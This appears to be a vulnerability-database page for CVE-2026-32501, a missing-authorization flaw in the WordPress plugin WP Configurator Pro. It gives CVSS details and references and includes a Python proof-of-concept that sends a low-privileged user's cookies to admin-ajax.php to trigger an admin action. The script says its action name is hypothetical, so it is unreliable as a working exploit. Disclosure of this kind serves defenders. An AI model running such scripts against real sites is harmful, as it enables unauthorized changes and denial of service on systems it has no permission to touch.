CVE-2026-32501

Description

Missing Authorization vulnerability in wp-configurator WP Configurator Pro wp-configurator-pro allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Configurator Pro: from n/a through <= 3.7.9.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

No configuration data available.

WP Configurator Pro <= 3.7.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Exploit Title: WP Configurator Pro < 3.7.9 - Missing Authorization PoC
# Description: This script demonstrates how a low-privileged user can trigger an admin-only action.

import requests

def exploit(target_url, cookies):
    # The vulnerable endpoint is often wp-admin/admin-ajax.php
    ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload for the vulnerable action (action name is hypothetical based on plugin structure)
    data = {
        "action": "wpc_save_configuration", 
        "config_data": "malicious_payload"
    }
    
    try:
        response = requests.post(ajax_url, data=data, cookies=cookies)
        if response.status_code == 200 and "success" in response.text.lower():
            print("[+] Vulnerability exploited successfully!")
            print(f"[+] Response: {response.text}")
        else:
            print("[-] Exploit failed or target is patched.")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target = "http://example.com"
    # Cookies from a low-privileged user session (e.g., Subscriber)
    user_cookies = {"wordpress_logged_in_12345": "subscriber_session_token"}
    exploit(target, user_cookies)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32501
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32501
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32501/
[4] VulDB https://vuldb.com/cve/CVE-2026-32501
[5] https://patchstack.com/database/Wordpress/Plugin/wp-configurator-pro/vulnerability/wordpress-wp-configurator-pro-plugin-3-7-9-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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